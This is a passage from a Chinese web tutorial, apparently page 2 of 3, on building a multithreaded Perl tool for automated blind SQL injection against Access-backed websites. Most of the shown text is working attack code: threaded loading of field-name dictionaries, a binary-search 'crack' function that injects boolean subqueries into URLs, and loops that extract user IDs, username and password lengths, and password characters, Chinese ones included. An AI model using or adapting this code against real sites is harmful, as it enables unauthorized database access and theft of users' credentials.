转至繁体中文版     | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告:     敏韬网|教学资源学习资料永久免费分享站!  [mintao  2008年9月2日]        
您现在的位置: 学习笔记 >> 图文教程 >> 数据库 >> Sql Server >> 正文
PERL:铸造多线程+中文SQL自动注入机         

PERL:铸造多线程+中文SQL自动注入机

作者:闵涛 文章来源:闵涛的学习笔记 点击数:3139 更新时间:2007/11/14 12:53:59
 --+";
                        last;
                }
        }
        close(fieInput);
        return $field;
}五.PERL多线程速成
然后,然后当然就是学习PERL的多线程技术!!!也许现在你就开始胆战心惊,以为这有什么了不起,呵呵,80/20的瑞士军刀法则在这里又是那么管用,我们仅仅需要学习两个函数就可以结束我们的速成班:
$thread = threads->create(function, LIST)
以变量名$thread,创建一个子例程\函数(FUNCTION)的一个线程,LIST为子例程\函数的参数,CREATE可替换为NEW。
$thread->join
等待线程运行完毕。一旦结束运行,join()将返回子例程\函数(FUNCTION)的值。
THAT''''S ALL!
就这么简单?完了?就这么两把菜刀就可以干我们的革命了!!!
详情参阅ActicePerl的帮助文档:Perl/html/lib/threads.html.
5、4、3、2、1、点火!!!
程序代码: $thread1  = threads->create("field_Input","field_Username.txt");
    $thread2  = threads->create("field_Input","field_Password.txt");
    $thread3  = threads->create("field_Input","field_ID.txt");回收返回仓:
程序代码: $field_Username = $thread1->join();
    $field_Password = $thread2->join();
    $field_ID = $thread3->join();
同时射出三个线程,然后JOIN回来,多么完美的落地啊,10分!!!
五. 猜数字的技巧
即便是多了几匹马,马再多也没有跑不过火轮车阿,我们来研究一下猜解的技巧,回过头看看等待我们的任务:最小用户ID - > 用户名长度- > 密码长度 - > 用户名 - > 密码。
ID值是天然的数值,长度是length($field)是数值,一位用户名和密码的ASCII码还是数值,都玩过网上的一个猜数字的JAVASCRIPT游戏吧?一个100以内的数,为什么只给你7次机会去猜?因为2^7=128,换句话说,一个128以内的数,你也只需猜7次,那么李咏节目里头那些几千上万块钱的东西,又要猜几次呢?2^13=8192, 2^14=16384,你还愁拿不到奖品吗?!
为了让大家看清楚一点,猜一个8以内的数,比如是5,步骤如下:
? < 4  N
? < 6  Y  4 + 2
? < 5  N  6 - 1
? = 5
也就用了三次,首先从中值(4)开始,每猜解一次加\减中值的一半(2、1),这些2^n都是固定了的,为了避免CPU的重复计算,可以根据猜解值的范围,相应预备一个数组,我准备了四个:
程序代码: @dic1=(128,64,32,16,8,4,2,1); # 最小用户ID 
@dic2=(16,8,4,2,1); # 用户名、密码长度
@dic3=(64,32,16,8,4,2,1); # 英文字符
@dic4=(16384,8192,4096,2048,1024,512,256,128,64,32,16,8,4,2,1); #中文字符

算法函数如下:
sub crack
{
my(@dic) = @_;
my $sql=pop(@dic);
my $i=0;
my $op=1;
my $crack;
foreach my $pass(@dic)
{
        print ">";
        $i++;
        $crack+=$op*$pass;
        $path1 = "%20AND%20$crack<($sql)";
        my @res = &connect;
        if ("@res" =~ /$info/)
        {
                $op=1;
                if($i==@dic)
                {
                        $crack++;
                }
        }
        else
        {
                $op=-1;
        }
}
return $crack;
}

$sql="select%20min($field_ID)%20from%20$table_User";
$id=&crack(@dic1,"$sql");传递进构造的SQL注入语句以及相应的数组字典,CRACK!!!
参数为数组时,子程序只将它赋给一个数组变量,my(@dic)而非my(@dic,$sql) =@_;后者,$sql必然为空!简单变量和数组变量是可以同时传递,$sql在此是@dic的最后一个元素。pop(@dic)再删去列表最后一个元素($sql),并将其作为返回值,剩下的@dic就是纯洁的数字了。
让我们一鼓作气,拿下用户名和密码长度,同时,别忘了使用多线程:
程序代码: $sql="select%20len($field_Username)%20from%20$table_User%20where%20field_ID=$id";
my $thread4  = threads->create("crack",@dic2,$sql);
$sql="select%20len($field_Password)%20from%20$table_User%20where%20$field_ID=$id";
my $thread5  = threads->create("crack",@dic2,$sql);
$userlen = $thread4->join();
$passlen = $thread5->join();
六.最后的战役-攻破字段值
使用SQL查询语句:select abs(asc(mid($fieUsername,$locat,1))) from  $table_User where $field_Id = $id
这里不讨论MS-SQL中的猜测,可以说MS-SQL下是不用猜测的,你只要构造的条件足够的好,可以直接让对方在报错的时候将数据内容直接显示出来。
ACCESS中字符的猜测:首先要判断ASCII码值是否大于零,大于,就用@dic3套到CRACK函数里面,小于就用@dic4了!函数返回数值以后,对于英文字符,有两种方法:使用nchar($asc)或者pack(''''C*'''',$asc);而对于中文字符:打开计算器,选择科学型,转换成十六进制单字,是****,用UltraEdit编辑为*字,哈哈……那就不叫编程了!
首先要用sprintf("%X",$asc)完成计算器的转换十六进制的工作,(别忘了用正则表达式提出最后四位,不然一个字前面就要冒出两个空格)然后再用pack("H*",$str)完成UltraEdit的打包作业: 
程序代码: sub asc
{
        my $asc=$_[0];
        my $str;
        if ($asc<256)
              {
              $str = pack(''''C*'''',$asc);
              }
        else
        {
        $asc*=-1;
        $str = sprintf("%X",$asc);
        if ($str=~/(.{4})$/i)
        {
                $str=$1;
        }
        $str = pack("H*",$str);
        }
        return $str;
}
万事俱备,只欠东风,此仅举猜解密码值为例,一位密码启动一个CRACK子线程:
程序代码: for (my $locat=1;$locat<=$passlen;$locat++)
{
        $sql = "select%20asc(mid($field_Password,$locat,1))%20from%20$table_User%20where%20$field_Id=$id";
        $path1 = "%20AND%200>($sql)";
        my @res = &connect;
        if ("@res" =~ /$info/)
{
$sql = "select%20abs(asc(mid($field_Password,$locat,1)))%20from%20$table_User%20where%20$field_Id=$id";
              $password[$locat] = threads->create("crack",@dic4,$sql);
        }

上一页  [1] [2] [3]  下一页


[Access]sql随机抽取记录  [Access]ASP&SQL让select查询结果随机排序的实现方法
[系统软件]SQL语句性能优化--LECCO SQL Expert  [C语言系列]SQL Server到DB2连接服务器的实现
[C语言系列]SQL Server到SYBASE连接服务器的实现  [C语言系列]SQL Server到SQLBASE连接服务器的实现
[C语言系列]SQL Server连接VFP数据库的实现  [C语言系列]ASP+SQL Server之图象数据处理
[C语言系列]SQL Server连接ACCESS数据库的实现  [C语言系列]DBA的最佳选择—图形界面还是T-SQL命令?
教程录入:mintao    责任编辑:mintao 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    同类栏目
    · Sql Server  · MySql
    · Access  · ORACLE
    · SyBase  · 其他
    更多内容
    热门推荐 更多内容
  • 没有教程
  • 赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题,因而无法显示。

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长:MinTao ICP备案号:鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网A打造BCD……
    咸宁网络警察报警平台